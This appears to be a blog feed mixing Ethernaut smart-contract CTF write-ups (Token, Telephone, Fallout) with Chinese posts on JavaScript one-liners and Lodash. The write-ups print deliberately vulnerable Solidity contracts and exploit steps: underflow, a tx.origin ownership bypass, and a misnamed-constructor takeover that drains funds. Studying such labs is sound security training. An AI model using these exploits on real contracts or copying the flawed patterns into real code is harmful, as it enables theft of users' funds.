Ethernaut - 5.Token

Difficulty: 🌕🌕🌑🌑🌑

The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

  • What is an odometer?

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Writeup

There is a famous security pitfall. We can use technique Underoverflow to complete this level.

  1. Get new instance.
  2. Call the method
    
     await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
    
    

    It will return default balance 20 .

  3. Call the method
    
     await contract.transfer('OTHER_ACCOUNT', 1000000)
    
    
  4. Call the method
    
     await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
    
    

    It will return a very big amount.

  5. Submit instance ξ( ✿>◡❛)

Ethernaut - 4.Telephone

Difficulty: 🌕🌑🌑🌑🌑

Claim ownership of the contract below to complete this level.
Things that might help

See the Help page above, section “Beyond the console”

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Writeup

To complete this level, we need to claim ownership of the contract. The keypoint is the difference between tx.origin and msg.sender.

  1. Get new instance
  2. Create a contract
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface Telephone {
         function changeOwner(address _owner) external;
     }
    
     contract AttackTelephone {
         Telephone public targets = Telephone(YOUR_LEVEL_INSTANCE_ADDRESS);
    
         function attackTelephone() public{
             targets.changeOwner(YOUR_ACCOUNT);
         }
     }
    
  3. Compile & deploy .
  4. Call attackTelephone function. In this scenario, tx.origin will be the victim’s address while msg.sender will be the malicious contract ( AttackTelephone ) ‘s address. ( tx.origin != msg.sender == true )
  5. Callthe method
    
     await contract.owner().then(v => v.toString())
        
    

    to check owner if it is your account.

  6. Submit instance ξ( ✿>◡❛)

Reference

tx.origin vs msg.sender

1LOC

對於初入門TS/JS或是想精進技術的人,1LOC 真的是不能錯過的網站!1LOC 的LOC是指line of code的的縮寫,在這個網站內分門別類分享了許多程式碼,有TS也有JS的版本,幫助開發者在一行內以漂亮達成想要的效果。

以下從網站擷取一些範例 :

Invert keys and values of an object

const invert = (obj) => Object.fromEntries(Object.entries(obj).map(([k, v]) => [v, k]));
//How to use ?
invert({ a: '1', b: '2', c: '3' }); // { 1: 'a', 2: 'b', 3: 'c' }

Calculate Fibonacci numbers

const fibo = (n: number, memo: Record<string, number> = {}): number => memo[n] || (n <= 2 ? 1 : (memo[n] = fibo(n - 1, memo) + fibo(n - 2, memo)));
// How to use ?
fibo(1); // 1
fibo(2); // 1
fibo(3); // 2
fibo(4); // 3
fibo(5); // 5
fibo(6); // 8

Clear all cookies

const clearCookies = (): void => document.cookie.split(';').forEach((c) => (document.cookie = c.replace(/^ +/, '').replace(/=.*/, `=;expires=${new Date().toUTCString()};path=/`)));
clearCookies();

Generate a random hex color

const randomColor = (): string => `#${(~~(Math.random() * (1 << 24))).toString(16)}`;

考量到可讀性,有些程式碼像是fibonacci,比起一行解決我更傾向質樸地寫成十幾行的function,後人會更好維護。所以這個網站內的程式碼可供參考、作為學習的教材,但跟他寫的不一樣、沒有在一行內解決不代表就是壞code!能靈活運用、好閱讀、有效率最重要^^ 分享這個網站給大家~

Javascript library - Lodash

因緣際會下認識了這款實用又方便的套件 - Lodash,Lodash是一個一致性、模塊化、高性能的 Javascript 實用工具庫,遵循 MIT 標準,支持最新的運行環境(擷取自官網的介紹)。

安裝 Install

習慣寫typescript,所以這邊除了lodash,也安裝了@types/lodash

npm install lodash
npm install --save @types/lodash

import

import * as _ from "lodash";

一些範例

Lodash 提供很多好用的函式,這邊就簡單舉一些例子,詳細可以到Lodash docs來看。

  • _.chunk(array, [size=1])

    把陣列拆分成多個size長度的陣列,剩餘不足一個size的剩餘元素組成最後一個陣列

    console.log(_.chunk(['a', 'b', 'c', 'd'], 2))
    // [ [ 'a', 'b' ], [ 'c', 'd' ] ]
    
  • _.compact(array)

    創建一個新的陣列並返回,這個陣列有原陣列所有非假值元素。假值指如 false, null,0, "", undefined, 和 NaN

    console.log(_.compact([0, 1, false, 2, '', 3]))
    // [ 1, 2, 3 ]
    
  • _.drop(array, [n=1])

    去除陣列前n個元素

    console.log(_.drop([1, 2, 3], 2))
    // [ 3 ]
    console.log(_.drop([1, 2, 3], 5))
    // []
    
  • _.fill(array, value, [start=0], [end=array.length])

    將陣列從start位置開始到end位置結束替換為value,會改變原陣列,非建立新陣列回傳。

    console.log(_.fill(Array(3), 2))
    // [ 2, 2, 2 ]
    console.log(_.fill([4, 6, 8, 10], '*', 1, 3))
    // [ 4, '*', '*', 10 ]
    
  • _.flatten(array)

    減少一層陣列嵌套

    console.log(_.flatten([1, [2, [3, [4]], 5]]))
    // [ 1, 2, [ 3, [ 4 ] ], 5 ]
    
  • _.flattenDeep(array)

    使成為一維陣列

    console.log(_.flattenDeep([1, [2, [3, [4]], 5]]))
    // [ 1, 2, 3, 4, 5 ]
    
  • _.remove(array, [predicate=_.identity])

    移除陣列中predicatetrue的元素並返回

    var array = [1, 2, 3, 4];
    var evens = _.remove(array, function(n) { return n % 2 == 0;})
    console.log('array: ', array);
    console.log('evens: ', evens);
    // array:  [ 1, 3 ]
    // evens:  [ 2, 4 ]
    
  • _.uniq(array)

    去除重複元素(保留第一次出現的元素)

    console.log(_.uniq([2, 1, 2]))
    // [ 2, 1 ]
    
  • _.unzip(array) 與 _.zip([arrays])

    var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
    console.log('zipped: ', zipped)
    // zipped:  [ [ 'a', 1, true ], [ 'b', 2, false ] ]
    console.log(_.unzip(zipped))
    // [ [ 'a', 'b' ], [ 1, 2 ], [ true, false ] ]
    
  • _.zipWith([arrays], [iteratee=_.identity])

    console.log(_.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) { return a + b + c; }))
    // [ 111, 222 ]
    

Ethernaut - 2.Fallout

Difficulty: 🌕🌑🌑🌑🌑

Claim ownership of the contract below to complete this level.

Things that might help

  • Solidity Remix IDE

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Writeup

  1. Get new instance
  2. Call the method
    
     await contract.owner()
        
    

    to check contract owner, it return address 0x0000000000000000000000000000000000000000.

  3. Call the method
    
     await contract.allocatorBalance(YOUR_ADDRESS).then(v=>v.toString())
    
    

    to check balance, it will return zero.

  4. Call the method
    
     await contract.Fal1out({ value: toWei("0.00001") })
    
    
  5. Call method allovatorBalance again like step3, we can see out balance become 10000000000000 now.
  6. Call the method
    
     await contract.collectAllocations()
    
    
  7. Submit instance ξ( ✿>◡❛)